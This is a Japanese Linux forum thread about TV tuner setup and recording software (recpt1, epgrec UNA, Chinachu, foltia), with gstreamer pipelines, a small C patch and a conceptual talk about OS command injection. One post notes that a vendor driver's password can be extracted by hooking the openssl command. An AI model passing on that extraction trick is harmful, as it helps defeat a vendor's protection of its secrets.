login:Penguin :2014/02/24(月) 04:44:20.45 ID:pxOXDkec
すごくい今更ですが Ubuntu13.10とIODATA GV-MVP/RX2使って CATVパススルーで地上波観ようとしてるんですが v4l2コマンドやivtv-tuneコマンドでひと通り設定して mplayerで再生しても、砂嵐+ノイズ状態です。 何故か95MHz前後でNHK-FMが聴こえたり。 RX3/on Windowsではちゃんと映ってたので 電波は来てるはずなのですが。 解決方法ありませんでしょうか?
東北の方ってまだアナログ電波出してたんだっけ?
デジアナ変換でしょ 周波数あってんならチューナー指定に問題あるんじゃね
こんなときのSELinux
>>197 OSコマンドインジェクションは言語関係ないんだよ
どの言語で作ってようが、shellに値を渡す部分でサボってるとやられる
流れを読まずに張るぜ tsselect-linux をcentos32bit で使う場合はこうだ 改行多すぎって言われたので分けるぜ @@ -1,3 +1,5 @@ +#define _LARGEFILE64_SOURCE +#define _FILE_OFFSET_BITS 64 #include <stdio.h> #include <stdlib.h> #include <string.h> @@ -6,10 +8,10 @@ #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> +#include <unistd.h> #define __int64 int64_t - typedef struct { int pid;
@@ -202,8 +204,8 @@ goto LAST; } - lseek64(fd, 0, SEEK_END); - total = lseek64(fd, 0, SEEK_CUR); + total = lseek64(fd, 0, SEEK_END); + //total = lseek64(fd, 0, SEEK_CUR); lseek64(fd, 0, SEEK_SET); stat = (TS_STATUS *)calloc(8192, sizeof(TS_STATUS)); @@ -458,8 +460,8 @@ goto LAST; } - lseek64(sfd, 0, SEEK_END); - total = lseek(sfd,0,SEEK_CUR); + total = lseek64(sfd, 0, SEEK_END); + //total = lseek64(sfd,0,SEEK_CUR); lseek64(sfd, 0, SEEK_SET); offset = 0;
Java で OS コマンドインジェクション起きにくいってのはわからなくはないなw JVM 言語はその機能を JVM にわざわざ持ち込む(再実装する)文化が ほか言語より強いので、他言語に比べるとシェルを経由する機会が少ない感じはある。 でも結局、Java で録画システム作るってなると、お手軽さからシェル経由する 実装になりそうだけど。
207 :
175 :2014/02/24(月) 22:06:42.05 ID:vr3QYziQ
>>175 空気を読まずに一人で続き。
音声含めてリアルタイムエンコードしたい場合はこんな感じ。
$ recpt1 --b25 --sid=101 101 101 - | gst-launch-1.0 fdsrc ! tsdemux name=d d. ! \
video/mpeg ! queue ! mpegvideoparse ! mpeg2dec ! videoparse format=i420 width=1920 height=1080 framerate=30000/1001 ! \
vaapiencode_h264 ! m. d. ! audio/mpeg ! queue ! aacparse ! audio/mpeg, mpegversion=2, stream-format=raw ! \
matroskamux name=m ! filesink location=test.mkv
で、これでエンコードしちゃうと動画と音声が同期しなくなる。0.3秒ぐらい音声と動画がズレる。
動画と音声ストリームのそれぞれきちんと頭出ししてからエンコードしてあげなければならない。
TSパーサはずいぶん前に書いた気がするんだけど、TSストリームでの頭出しできるコードを書きますかね。
208 :
login:Penguin :2014/02/25(火) 00:05:22.37 ID:hKg2K+RL
>>198 GV-MVP/RX2Wならずいぶん昔にFedoraやCentOSでつかってたけど、
その頃はドライバにパッチあてて、/etc/modprobe.confに
option ivtv tuner=46 ntsc=j
だったか入れないとだめだったはず
とりあえず、
sudo rmmod ivtv
sudo modprobe ivtv tuner=46 ntsc=j
を実行してから、mplayerで再生するとどうなる?
209 :
login:Penguin :2014/02/25(火) 00:54:24.07 ID:z9E+HSZQ
>>208 Ubuntuフォーラムにも投稿したんだけど
Ubuntu12.10にダウングレードしたら普通に使えました。
Ubuntu13.10だと、$ v4l2-ctl --list-standardsでNTSC-M-JPがどうしても出てこない。
それが原因っぽいです。
最初から一つ一つ丁寧に追っていかないと かつて使ってた人だって環境も記憶もないところへ、新しいシステムへの対応とか 雲を掴むような話でしょ
>>207 gstreamerって各バッファ(フレーム)にタイムスタンプ付けてるし
以前パッチ当てgstreamerでdvbbasebinをソースに使って(再muxのみの)テストした時はズレてなかったよ
recpt1からPMTやPCR渡ってるのかな
recpt1からそのまま全体で入力して tsparse program-numbers=xxx !.... とかだとPMTもPCRも渡るはず
それに videoparse format=... のエレメントって
mpeg2decがフレームフォーマットをバッファのcapsとしてくっつけてるはずだから不要なんではないか
>>206 > Java で OS コマンドインジェクション起きにくいってのはわからなくはないなw
「外部プロセス呼び出し」と「シェル経由で外部プロセス呼び出し」は別物だよ。
プロセスをopenしたりするときに"|"を使ってリダイレクトできる便利な方がシェル経由。
まず、OSコマンドインジェクションが言語関係ないというのは一応正しい。
確かにシェル経由で外部プロセス呼び出しを行っているならば言語は関係ない。
どの言語でも危険。注意して使わないといけない。
だけど違いはシェル経由ではない外部プロセス呼び出しにあって
こちらならOSコマンドインジェクションは発生しない
なのでなるべくシェル経由でない方を使った方がいいわけだがここで差が出てくる。
JavaだとLinuxで動かすとは限らないから、シェルの機能に依存しないように作る。
だからシェル経由でない外部プロセスを使うことのほうが多い。
故にOSコマンドインジェクションになりにくい。
そしてPHPはシェル経由ではない外部プロセス呼び出し機能がない。
この場合しっかりエスケープする必要があって、これを忘れるとOSコマンドインジェクションになる。
よってOSコマンドインジェクションになりやすい。
徳丸浩の日記 PHPだってシェル経由でないコマンド呼び出し機能が欲しい
http://blog.tokumaru.org/2013/12/php_21.html
>>211 レスさんくす
recpt1からPMTやPCRは渡してますよ。でもズレる
tsparse program-number=999 ! でやってみましたが、これでもズレます。
videoparse format= のエレメントは付けないとパイプラインが動かないのです。
ERROR: pipeline doesn't want to preroll.
が出てしまう。
本来であれば不要なはずなのですかね。
gst-launch-1.0 filesrc location=foo.ts ! tsdemux program-number=298 name=d d.video ! \ video/mpeg ! queue ! mpegvideoparse ! mpeg2dec ! theoraenc bitrate=1024 drop-frames=false ! m. \ d.audio ! audio/mpeg ! queue ! aacparse ! audio/mpeg, mpegversion=2, stream-fromat=raw ! \ matroskamux streamable=true name=m ! filesink location=foo.mkv だとズレてないね... (パッチ当てgstreamerでdefaultの"video","audio" srcpadを使ってるけど) TVをLIVEで入力するとズレちゃうのか (レイテンシの絡みで?)vaapiでエンコする時にタイムスタンプいじられちゃうのか
> 「外部プロセス呼び出し」と「シェル経由で外部プロセス呼び出し」は別物だよ。 それがわかってるならなぜ「外部プロセス呼び出し」の話を出したんだろう。 その前見ても外部プロセス呼び出しの話はしてないと思うんだが。 epgrec の件を見るに、PHP にも外部プロセス呼び出しほしいですね っていう話だけなら、その通りだとは思うけど... なぜ俺のレスにつけたんだw
chinachu をテスト機にインストールしてみた なかなかイイね。 番組表も新聞形式になって、 直感的に使いやすい でも録画番組の再生に関しては 今のところはPCのWebブラウザ操作を前提としてて、 スマホやタブレットではまともに再生できないような気がする この辺りは流石に商用のfoltia ALの作り込みは良くできてる スマホやタブレットからでも再生できるし DLNAによるSTBやTVからの再生も 実用的に使いやすくなってる chinachuの番組表、予約インターフェイスと foltia ALの再生環境が組み合わされば最強と思えるが 使ってる技術が違いすぎて困難だよなぁ
ちなちゅもfoltiaも知らんけどmp4の直リンぐらいで再生できんのけ? おらのスマホはそれで見れるんだが。
>>216 >スマホやタブレットではまともに再生できないような気がする
SMB共有かけてファイルブラウザから見るとか、miniDLNAとかTwonkyServerの類を突っ込めばええだけでね?
>>217-218 chinachuはmp2tsをrecordedフォルダに格納していくだけなので
MPEG2 TSデータを直接再生できるスマホやタブレットじゃないとダメで
少なくともiOS機ではできない
単純に単一フォルダにファイルを置いていくだけだから
このフォルダをDLNAやSMBで公開しても、
最初は使えるけど、
録画ファイルが増えてくと、
探すのが大変になるし、
DLNAの場合はリスト表示に時間がかかるようになる
foltia ALは録画後に携帯端末で再生できるmp4にエンコしてくれるし、
DLNAやSMBで再生しやすいように
日付やタイトル毎に階層構造で表示するので
ストレスなく使えるようになってる
foltia ALは中のスクリプトはゴチャゴチャだけど
ユーザ視点で使いやすい再生環境にはなってる
iPhone版VLCを使えば再生できる
iOS版だった
ザオリク
nPlayerでも見えるな
おかえり
epgrecUNAをちょっといじろうと思ってソース見てみたけどとんでもなくカオスだった。 作者はよくこれを管理できるな。素直に感心する。
>>219 Apple HTTP Live Streamingに対応してるよChinachuは
LinuxでTV録画する際、コマンドrecpt1で番組情報(EPGデータ)をtsファイルに記録することはできる? たとえばMXの「凪の明日から」→「ソードアートオンライン」という番組編成で、 ソードアートオンラインをChinachuを通しrecpt1コマンドで予約録画すると Tvtest上部の番組名が「凪の明日から」から変わらないのに対し、 WindowsPCでECDBで録画し、録画した番組を見ると 番組前のCMでは番組名は「凪の明日から」 ↓ 23:30から「ソードアートオンライン」が始まると、 番組名が「ソードアートオンライン」に変わる となる これはたぶんECBDは放送波に含まれるEPGデータもセットで録画できるのに対し、 recpt1だとEPGデータはうまく録画できないから?(番組表更新のためのEPG受信はうまくできてます。) 他にも番組情報(EPGデータ)を使ったソフトを使用しているので、 recpt1で番組情報を正しくtsファイルに保持したまま録画したい。 LinuxはCentOS6.5 64bitでrecpt1はSTZ版を使用
TVTestって録画ファイル再生できんの?
--sid hd なだけなんではないか recpt1 単体で試してみたら
EIT[p]を保存するようにすればできるんじゃないか。 PIDは--sid epgにしたとき保存対象になる中のどれか。
232 :
227 :2014/03/03(月) 03:07:33.55 ID:hxhc1A2q
>>230 >>231 ありがとうございました。
できました。
SIDってそういう意味だったのか・・・
--help見ても英語で
SIDでググってもCSのチャンネルの話しかなくて見落としてました。
chinachuの番組表がいい感じになったと聞いて、 しばらく使ってなかったのをupdateして試してみたんだけど前と変わってない。 新しい番組表にするにはどうすればよいでしょう?
234 :
sage :2014/03/03(月) 20:03:49.39 ID:ivM43Bs7
epgrec UNAで、EPG情報が3/1から取得できなくなりました。 解決方法知っている方、いませんか。
235 :
83 :2014/03/03(月) 20:10:50.08 ID:DVmbj1dH
>>233 config.json、rules.jsonやdata/ をバックアップしといて
インストールし直せば?
ウチも番組表の表示変わったってことで、
新規にインストールし直した。
config.json、rules.jsonは古いChinachuから流用してちゃんと動いてる。
もちろん番組表の表示も変わった。
結構いい感じ。
あとはiosからのライブ視聴が
ちゃんと動いてくれれば...
>>234 こっちは取れてる気がする
どこか設定でもいじったんじゃないの?
どうも環境依存らしいね ubuntu12.04(PHP5.3.10 MySQL5.5.35)では出てないよ ログみてりゃもっと早くわかったと思うんだが どうにもならなくなってから相談してたらあかんでしょ 録画に支障が出るだろうに
>>234 俺が以前UNA使ってた時に、EPG取得用テンポラリファイルがいつの間にか溜まりまくって
システムHDDがいっぱいになったせいでEPGが新規に取得出来なくなったことがあるんだけど、
その辺は大丈夫?
>>233 ブラウザキャッシュとか?
Chrome だと、強制リロード S-C-r でも、js 経由で読むデータのキャッシュは
破棄されないから、developer tool の操作でキャッシュ破棄する必要ある。
>>234 同じ症状出ててた
PC壊れて再インストールしたばかりだったので
cronで読んでる番組更新のPHPが
今の階層にあってなかったという落ちでしたが
最初の番組取得では正常だったので気がつかなかった
一つのチャンネルに何個も番組表はいってるじゃないですかー。 Chinachuで使わない番組表だけ無効にできます?
244 :
234 :2014/03/04(火) 22:18:10.75 ID:E0i5kteK
Ubuntu 12.04LTSでした。 DBを一回削除して、様子見たんですがだめでした。 その後、Ubuntu のPHPセキュリティアップデートが今日出たので それを適用して、更新したらEPG情報が取れるようになりました。 ありがとうございます。
@wiki。。
いまatwikiとか恐ろしくて行けないだろw
MythTV か・・・ ずっと前にEDEN の PCと アナログTVカードでやってみたきりだったな 試してみようかな
249 :
login:Penguin :2014/03/15(土) 11:46:26.68 ID:uisk12lk
chinacu updaterしてみたら番組表が縦表示になって使いにくいorz 元に戻したいけどconfig.jsonで変更する項目がみつからない・・・ あとEXって項目あるけど、LinuxでISDB-S2受信できてる奴いる? TBS-69xxxシリーズでJSAT-3a,4b掴もうとしても引っかかりもしないw
Fedora20でDVBドライバ使っている人っています? どうしてもコンパイルが通らないのですが・・・ (開発環境をインストールしていないという初歩的なミスではない) ちなみに使いたいカードは、MonsterTV HDP2という古いカード マイナーすぎてLinuxでの使用レポートが少ないっ
マイナーなカードは自力で解決できないなら、あきらめろ試合終了だ・・・
>>251 どこで通らないとか
コンパイルのエラーメッセージはなんだとか
自分で試したことは何か
何も情報出さないのにどうアドバイスすればいいんだよ
で、アドバイスするとそれはもう試しましたとか言うんだろ
勘弁してくれよw
pcscdがらみで質問です。情報持っていらっしゃるかたいらっしゃいましたら教えて下さい 現在ubuntu 12.04 /PT3/Gemalt USBカードリーダ epegrec にて録画環境構築しています。 サーバを起動(再起動)かけてしばらくの間は問題なく録画できる状態なのですが、 どこかのタイミングでUSBデバイスが認識できなくなってしまいます。 このタイミングが明確にわからないのですが(syslog探ってもトリガーがわからない) 1〜2日ぐらいでUSBのpcscリーダ自体が認識されなくなります。 試しにサービスのリスタート(service pcscd restat) をかけると Mar 18 14:01:35 XXX pcscd: ccid_usb.c:499:OpenUSBByName() Can't claim interface 3/2: -6 Mar 18 14:01:35 XXX pcscd: ifdhandler.c:102:IFDHCreateChannelByName() failed Mar 18 14:01:35 XXX pcscd: readerfactory.c:965:RFInitializeReader() Open Port 0x200000 Failed (usb:08e6/3437:libudev:0:/dev/bus/usb/003/002) Mar 18 14:01:35 XXX pcscd: readerfactory.c:275:RFAddReader() Gemalto GemPC Twin (4CE36E9F) init failed. Mar 18 14:01:35 XXX pcscd: hotplug_libudev.c:377:HPAddDevice() Failed adding USB device: Gemalto GemPC Twin これを吐いて認識できなくなるようです ただし、頻度は高くないですがたまに問題なくサービスがリスタートできる時もあります。 カードリーダ周りで入っているパッケージは ii libccid 1.4.5-1 ii libpcsclite1 1.7.4-2ubuntu2 ii pcsc-tools 1.4.18-1 ii pcscd 1.7.4-2ubuntu2 こんな感じです。 全く認識されないとかいうケースはググっても結構出てきますが、稼働中に認識できなくなるっ ていうケースが少ないのか ヒットしません。 よろしくお願いいたします。
>>254 稼働中にUSBデバイス見失う状況はマザボの電解コンデンサが妊娠状態になって発生したことがある
24H電源入れっぱなしで4年弱のころで4個交換して復活した
256 :
login:Penguin :2014/03/18(火) 22:35:54.19 ID:ue/vwGVT
>>254 ソース見るしかないんじゃね
原因がハード由来なら見ても意味ないんだけど
257 :
255 :2014/03/18(火) 22:43:12.18 ID:oMtlMuP3
そもそも他機器繋いで機能すんの? じゃないとスレ違いだから
>>255 >
>>254 > 稼働中にUSBデバイス見失う状況はマザボの電解コンデンサが妊娠状態になって発生したことがある
> 24H電源入れっぱなしで4年弱のころで4個交換して復活した
>>256 >ソース見るしかないんじゃね
> 原因がハード由来なら見ても意味ないんだけど
ありがとうございます。
なるほど、そっち(コンデンサ)の可能性もあるんですね。
マザボの方の問題とは思っても見ませんでした。
今度マザボのコンデンサ自体を見てみます。
コンデンサの写真まで掲載してもらってありがとうございました。
ドライバのソースは一応見てみたんですが解決できるほどの知識がなくそっちはお手上げっす。
マザー起因だと面倒すねぇ、、DN2800気に入ってるんですが。
2年前のマザボ疑うんなら電解コンデンサーの塊、電源も疑うよろし あとUSBポートの変更は当然やってるあるな?
>>259 DN2800MT?
黄色いほうのUSBに刺してる?
黒い方は容量足りなくなる事あるよ。
254 です
>>260 >>261 ありがとうございます。
USBポートの変更はやっとります。
ただ、真ん中の黄色い方を意識して使ってたか記憶が定かじゃないのでやってみます!
ついでに背面のポート以外にオンボード上の9pinにもためしてもやってみます。
ACアダプタのほうは考えても見ませんでした。
そういやコンデンサが怪しいんじゃない?っていう話をうけて仕事しながら
なんとなく考えていたんですが、どこかでDN2800MTってUSBのバスパワーが
不安定だって記事を見た覚えがあるんですよね。
なんで、セルフパワーのUSBハブかましてみようかと思います。
ずっとドライバの問題か?と疑ってたので物理方面で
当然確認するべきことを失念していて恥ずかしい限りです。
ありがとうございます。
263 :
login:Penguin :2014/03/21(金) 14:24:17.72 ID:jt99ZH7x
Lubuntu12.04にGV-MVP/RXLEを使ってSビデオ入力を視聴しようとしていますが 映像は普通に再生しますが、音声だけスロー再生になってしまいます。 /etc/modprove.d/options.conf に oprions ivtv cardtype=13 tuner=46 ntsc=j としてGV-MVP/RXとして認識させて v4l2-ctl -d /dev/video0 -i 1 -s 2 aplay --buffer-time=0 -f dat < /dev/video24 & mplayer -framedrop -nocache /dev/video32 -demuxer rawvideo -rawvideo ntsc:hm12:fps=29.97 -vf pp=l5 -aspect 4:3 -vo gl && killall aplay として再生しています。 音声がスローにならないようにするにはどうすればいいのでしょうか?
cardtype=2でバグ画面になった後に再起動すると普通に再生されるのが分かりました。 試しに別にインストールしていたXubuntu12.04の方は普通に再生できたので Lubuntuに原因があるのかも知れません。 Radeon7500を使ってるのですが、MPEG2再生支援が効かないみたいでCPU使用率が高いです。 再生支援を効かせる方法はあるのでしょうか?
どうせまたシカトなんだろ
266 :
263 :2014/03/22(土) 12:57:12.62 ID:Y/i2UT8/
今起動したらXubuntuも同じだったw
>>251 kernel の DVB コードって MTVHD の DVB 版が開発された頃とかなり変わって
いるので、自力で何とかしないとダメな気がする。
自力できないなら、CentOS とか古いカーネルのディストリ使うしか…
epgrecって、キーワード予約で同じ条件、同じワードを幾つも登録できてしまうね で、ひとつ削除すると既存予約状態が解除されてしまう ソース見てないけど、登録前にチェックしてないのかな
やっとPT3買えてもうすぐ来るんだけど、PT2とは同じrecpt1で使い分けられないんだっけ? もしくは二枚差しのどちらかをDVBとmythtvで使いたいんだが、今のアップストリームの0.27って対応してあるのかな?
普通に使える
recpt1て配布してる状態で/dev/pt3video?に対応させてたっけ
オプションで指定すればいい
recpt1やepgdumpとか色々フォークされててややこしいよな
質問です。現在、ANIMELOCKER+PT3を利用してるのだけど、linuxでもwindows環境でもいいのだが ANIMELOCKERと同程度以上の録画/視聴環境を手軽に構築できるフリー環境のオススメってありますか?
FoltiaALはかなり作りこまれてるから 「同等以上」というのは難しいんじゃないかねぇ
ここで聞いてる時点でお察しなお前にお勧めなんて無いよ そのままfoltiaAL使ってろ
foltiaから別のものに乗り換え組だが、foltia使ってろ、このモフモフ鼬野郎
この流れの中で質問しにくいが、ANIMELOCKERを検討してる者です ホットスワップが出来るケースで使用予定だけど、ANIMELOCKERではHDDのホットスワップって出来るのでしょうか? たまり次第どんどん入れ替え予定なのですが
>>279 Linuxでのホットスワップに疎いので参考程度にとどめて欲しい。
デフォルトだと録画領域がLVMで組まれる。
なのでホットスワップで使うにはちょっと面倒と思う。
ホットスワップさせるディスクは通常の録画エリアとは別にマウントさせて、録画後のデータを都度コピーさせていくか、根本から作りを自分好みに調教していくか。
とりあえず評価版で試してみりゃどうね?
recpt1とepgdumpとepgrecを各々亜種をマージしてGitHubに頼むわん
>>279 280も言ってるけどfoltiaALでは
ボリュームマネージャのLVM2が採用されてる
これは録画容量が足りなくなって
後からDiskを追加した時に
スライス切り直しや
ファイルシステム作成し直しすることなく
容量を拡張できるようにするため
lvmの機能でデータを退避させてDiskを抜くこともできるけど
退避までに数時間かかる場合もある
語弊を承知の上でいえば
RAID0を構成しているイメージに近い
Windowsのドライブ単位でのホットスワップをイメージしてるなら、
出来ない、と言う回答になるね
ディレクトリ指定でなくデバイス指定だから・・・ 一回試したらうまいこと設定されんで、システムパーティションごとパーティションテーブルが変なったさ 故人的にゃ、PTシリーズ使っているならchinachuのが融通効くと思う。
>>279 仮にLVMを使わずに録画領域を設定したとしても
録画データはデータベースで管理されてるので難しい
foltiaALはPT2のドライバも入ってるらしいですが、DIR-EB262-C13にPT2を2枚刺しとかでも大丈夫ですか?
>>288 DIR-EB262-C13の方の購入を検討してる段階です
>foltia ANIME LOCKER 3.0 DVD版 FL-DV1の弊社からの出荷を終了させていただきました。今後は流通在庫のみとなります。 メジャーバージョンアップの予感?永久ライセンスないし、今は買えんなこりゃ
>>291 問い合わせてみた。噂通り速攻で返信来るなw
申し訳ございませんが未発表の今後の予定を個別にお話することは出来ません。
また、メジャーアップデートの際には有料アップデートを予定しております。
3.0よりライセンス形態を変更することにより五千円程度の値下げを実現し、多くのお客様からよりお求めやすくなったとのご好評を頂いております。
また、2.0と3.0につきましては、併売期間を長く設定しておりましたために、多くのお客様に希望するライセンス形態と価格をお選びいただけたのではないかと考えております。
永久ライセンス版を買ったオレは勝ち組? 。。。使ってないけどw
>>293 永久ライセンスがなかったことになるんじゃね?
別製品扱いになって
>>294 流石にそこまで反感買うことはしないだろう
>>293 こんなことで買ったと思える状況なら、社会的には負け組かも
でも結局自分ジャッジで勝ちと思った人が勝ちなので、勝ち組ともいえる
いずれにしてもうらやましい限りだ
不快にさせたら謝る 所詮、売り文句に踊らされただけのような気がするよ。。。
WindowsXP で PT2+PT3+magicanime をつかっています。 XPのサポート終了うんぬんでこの録画環境をLinuxに移行させようか 検討しています。 しょぼいカレンダーを使っている foltia がいいかと思ってるのですが、 foltia では PC の電源 ON/OFF管理してくれるでしょうか。 ACPI wakeupさせるパッチを当てればいけるとか、 パッチするなら他の Open Source 系がいいとか アドバイスいただけるとありがたいです。
>297 EPGREC , foltia , chinachu などは 常時稼働が前提 試したことないけど、MythTVは電源断ができたと思う
自分ちは稼働率低いのでwakealarm使って電源OFFしてる epgrecでのやり方なら検索すればみつかる
んなこたない
本家のepgrecは省電力に対応してなかったっけ
>293 売ってくれ 値段は応相談
>>297 Linuxなら、シェルスクリプト組めば良いと思うの
それやる位なら foltiaに電源管理を組み込んだ方が良いと思うがw
>>297 にその能力が無いなら foltiaALにするか Windowsをアップグレードした方がいいと思う。
foltiaALって電源管理できたっけ?
epgrecUNAなんですが、録画予約が消えません。 epgrecUNA上では消えるのですが、at jobが残っています。 ログにも「予約ID:3045を削除しましたが AT-JOB:の削除に失敗しました。 (JOBが有りませんでした)」とあります。 atqで見るとやはり残ってます。jobの所有者はrootでした。 atrmしてやると消えます。 何か原因がわかる方いらっしゃいますでしょうか。
いあー。それがさっぱりで。 パーミッションあたりかとも思ったのですが、 作るときにrootなんだから、消すときもrootだよなぁと。
CentOS+PT3の質問とかココでおk?
chinachuでのWebMエンコードストリーミングにはどのくらいのスペックが必要?
Core2Duoじゃ足りなんだ。 初代i7で余裕だった。 初期値の映像1Mbps、音声96kbpsぐらいで。 っていうか、多分スレチ Linuxでテレビ総合スレか、DTV板のが好ましいかと。
ごめん寝ぼけてた。
ちょっと
>>315 に掘られてくるo.. rz
>>314 C2Dで無理ならG1820でも無理だよな
それはさておき人にモノを頼むときはこうやってお願いするんだぜ→or2
>>314 C2Dで無理ならG1820でも無理だよな
それはさておき人にモノを頼むときはこうやってお願いするんだぜ→or2
intelのqsvでエンコってlinuxでできるの?
>>316 おれG1820Tつかってるけど、
初期値の解像度1280x720 映像1Mbps 音声96kbps いけてるで。
CPU 53〜60%くらい。
2番組録画中でもこんなもんだった。
全部MAXはブッチブチで無理だった。
>>308 getepg.phpのcronがrootで実行されてんじゃね?
これだとキーワード予約がrootでatされる
>>321 多分こういう人はrootが特別なユーザだって事から説明してあげないといけない
このスレ的には
>>308 だけで完結してる
てか去年の年末に改善されてるんだよね 古いのを使い続ける奴は自己解決しやがれ
なるほど。 消すときはWebからなのでapacheでjobが作られてないと消せませんね。 でもcronの設定ではapacheで実行するようになってました。 epgrecUNA以外の所が原因かもしれません。 変なのも湧いてきたしあとは自分で何とかします。 ありがとうございました。
この手合いは人に助けを求めておいといて、 障害が解決してもその報告をしに来ない恩知らずだろうな。
お前らみたいなのが湧いたら、そんなものする気失せるわ。
だから恩知らずだって言ってるじゃん。 情報後出しで、できません、分かりません、ちょっと煽られたら ふてくされて「自分で何とかします」かよ。 コミュニティへの貢献意識ゼロだなw 絡まれると面倒なので先に断っておくが、コミュニティってのは このスレのことじゃないからな。
いや、おまえらこそ変な茶々入れて盛り下げてることを自覚しろよ。
盛り上がって参りました
いやいやいやここはおれが。
おまえ『ら』ってオレも入ってるんか?w
UNAって自分で修正しようと思ってもおいそれとは手を出せないよな
>>320 おお、ありがとう
chinachuは入れて録画もできるんだが、libvpxのインストールが途中でとまっちゃうんで、
本腰入れて解決してもスペック不足で使えないんじゃ意味ないと思って確認したかった
>>333 ちなみちchinachu実機で再生したことないから、その場合はもっとCPUくうな。
Chinachu最新にアップデートしたら node.js v0.10 だと起動時にこけてしまう…
>>335 ChinachuってNodeもよろしくインストールしてくれるじゃん
>>336 うへぇ
Node.jsもバンドルされてるんだね。初めて知った...
ローカルのNode.jsアンインストールしたら無事動いたわ。ありがとう
chinachuスクリプトだとnode.jsはnave.shを使ってchinachu配下にインストール されるけど、パッケージとか自前コンパイルのをインストールしても動くはず。 PATHはちょっと変える必要あるかもしれんが。
さて、連休で暇なのでrecpt1いじるよ なにとなにとなにをマージすると最強になれる? pt1.oyamaのDLNAは残しつつ、ES出力は削っちゃう予定。 httpサーバ版とバグフィックス幾つかぐらいを念頭に置いています。
それは素晴らしいのでマージ後はGithubにでも上げてもらえませんでしょうかね
>>340 気が向いたら結構なので、W3PEの対応と、W3PEでsidオプション指定時にepgを設定しても無視される事象を治してくれたら、きっと俺は嬉しさで悶え死ねる。
W3PEの対応はfoltiaALの内部でパッチが当てられてる臭いけど、ソースが公開されておらず、難読化もされているっぽい。
なので俺にゃお手揚げ。
recpt1のライセンスってどうなってるんだっけ
foltiaのW3PEのドライバ部分はopensslコマンドをフックする事でパスワードを抜く事が出来る 今は違うかもしれないけど
ブルボン・ホワイトfoltia
>>340 更新されたっぽいので早速落としました。感謝。
それは録画以前の問題なのでmanなんとかしたりgoogle様におながいしたりして頑張らないと
婆ちゃんがBSCS見たいつうからアンテナ建てたんで、録画鯖にチャレンジしようと 思い、1スレ目から読んで面白かった。 VM上でコンパイルこけて、このレスが役にたった。ありがとう 【視聴・録画】Linuxでテレビ総合7【デジタル/アナログ】 (Linux板) 761 login:Penguin 2012/11/27 (火) 18:01:17 自分はfriioじゃないけど、同じようにUbuntu12.04にしてからb25で躓いたことがあるんで、もしかしたらMakefileのgccオプション問題じゃないのかな。 CC = gcc -Wl,--no-as-needed に書き換えてみたらどうでしょう?見当違いだったらごめんなさい。 スレ全部読んだ印象だと何かいろいろ録画鯖あるけど一番人気はepgrec UNAって奴っぽいな? そん次がChinachuとかいうやつ nginx使ってるからとりあえずepgrec UNAを入れてみるぜ
自分で改造しならが使おうって人にはUNAはおすすめしない
chinchuは動かないときにログから問題箇所を特定するのが難しいな 一回ハマるとなかなか動かない
>>352 GWの更新が大規模だったからやられたクチかな?
それなら最新状態に追従しなきゃ良いだけでは?
他のは使い勝手が悪いしバグを抱えたまま更新が止まっているのを改造するよか大分楽だと思うが
>>354 いや、単に改造へのハードルが高いよって意味だよ。
超絶長い関数とかいろいろ。
これを管理できてる作者には本当に頭が下がる。
CentOS6.5 + pxq3pe + chinachu の環境がうごいたので報告 ポイントは以下の2点 - foltiaからドライバ(pxq3pe_dtv.ko)、 recpt1コマンドなど流用 デバイス名は 衛星: /dev/pxq3pe{0,1,4,5} 地デジ: /dev/pxq3pe{2,3,6,7} デバイスのパーミッションが 660 なので、 chinachuユーザがアクセスできるようにする。 - epg取得用のrecpt1のオプションを変更し、 "--sid epg" 部分を削除 ~chinachu/Chinachu/app-scheduler.js : - recCmd = recCmd.replace(' --b25', '').replace(' --strip', '').replace('<sid>', 'epg'); + recCmd = recCmd.replace(' --b25', '').replace(' --strip', '').replace(' --sid <sid>', '');
>>356 録画データに他のサービスも入り、サイズがでかくなるがEPG情報を残したかったのでconfig.jsonの方で"-sid <sid>"を除いてる。
ドライバのロードは、sysconfig/modulesにスクリプト置いて、その中でchmodもかけてやると手っ取り早いかと。
PlanexはPX-W3U3←これのドライバに入ってるas11usbdtv.koとloader.koって カーネルモジュールのソース公開するかARM版同梱してくれ。 Raspberry Piで使いたいんじゃ
↑PlanexじゃなくてPLEXでした、失礼しました PLEXの人よろしく!
このスレが3ぐらいで録画スレからしばらく消えてたのだが ffmpegでエラーが出るTSをエラー回避する方法ってまだ発見されてないよね?
日本語でおk
362 :
login:Penguin :2014/05/24(土) 18:30:03.55 ID:p0xMBKl5
Chinachuのインストールのことで困っています。教えて下さい!
CentOS 6.5にChinachuを公式ページを参照しインストールしました。
しかし、ウェブからのアクセスが出来ません。 wuiのlogには以下の記載がありました。
**SELF-REGULATION WARNING**: If you want to access from outside of LAN, Please activate TLS.
info: socket.io started
info: socket.io started
warn: error raised: Error: listen EAFNOSUPPORT
-確認したこと-
recpt1も入れ、recpt1 --b25 --strip 27 10 test.ts で地上波、BS/CS録画できた
./chinachu update -f でEPGを取得
http://127.0.0.1:10772/ には「接続できません。」とでます。LAN内の他PCでも同様。
http://127.0.0.1/ だと「Welcome to socket.io.」となります。
録画フォルダにはアニメが溜まっており裏で録画は一応されている模様…
なお、SELinux、Firewallはオフにして上記確認をしました。
公式はDebian向けだから必要なパッケージ足りてないとか?
364 :
362 :2014/05/24(土) 19:31:19.46 ID:p0xMBKl5
10772だとダメでしたが、config.jsonのwuiOpenServerをtrueに変更 10772は相変わらずダメですが、20772でパスワード付きログイン可能になりました! 結局なぜ10772はダメなのか…
10722と20722だもの どこかに、まんちがい があるんじゃないか?
Please activate TLS. ...とあるから、 OpenSSLが入ってないんじゃないの?
367 :
362 :2014/05/24(土) 19:56:09.77 ID:p0xMBKl5
Chinachuを見ると国内外ほとんどの放送波に対応してるような記述あるけど 日本から国外の放送って受信どうやるの? PT3以外にチューナー必要?
そりゃそうでしょ
お前も3つ上のレスぐらい読めよな
Fedora19だが、"wuiHost" : "::"でアクセスできてるぞ。 IPv6切ってるからだろうか。
RedHat系なら問題なく、Ubuntu系なら出るってモンじゃないかね?
すまん、寝ぼけていた。
>>362 は思いっきりCentOSと書いてた。
ちょっと寝直してくる。
みんな疲れてるんだな
>>343 と同じ、新本家にhttpパッチを当てた recpt1 を使っているのですが、
http を叩くごとにメモリー使用量(ps で言うところの RSS)が増大し、初めは1Mも使っていなかったものが
ちょっと油断すると200M以上食っていたりします。
元に戻すにはrecpt1を再起動させるしか思いつかないのですが、他になにか良い方法はあるのでしょうか。
それとも、こんな振る舞いをするrecpt1はウチの子だけ?
